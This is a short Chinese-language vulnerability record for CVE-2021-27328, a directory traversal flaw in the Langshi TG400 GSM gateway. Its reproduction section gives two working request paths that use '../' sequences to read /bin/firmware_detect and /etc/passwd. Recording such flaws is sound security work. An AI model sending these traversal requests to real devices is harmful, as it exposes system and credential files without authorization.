朗视 TG400 GSM 网关目录遍历 CVE-2021-27328

漏洞描述

朗视 TG400 GSM 网关存在目录遍历 ，攻击者可以通过漏洞获取敏感信息

漏洞影响

朗视 TG400 GSM 网关

漏洞复现

/cgi/WebCGI?1404=../../../../../../../../../../bin/firmware_detect
/cgi/WebCGI?1404=../../../../../../../../../../etc/passwd

img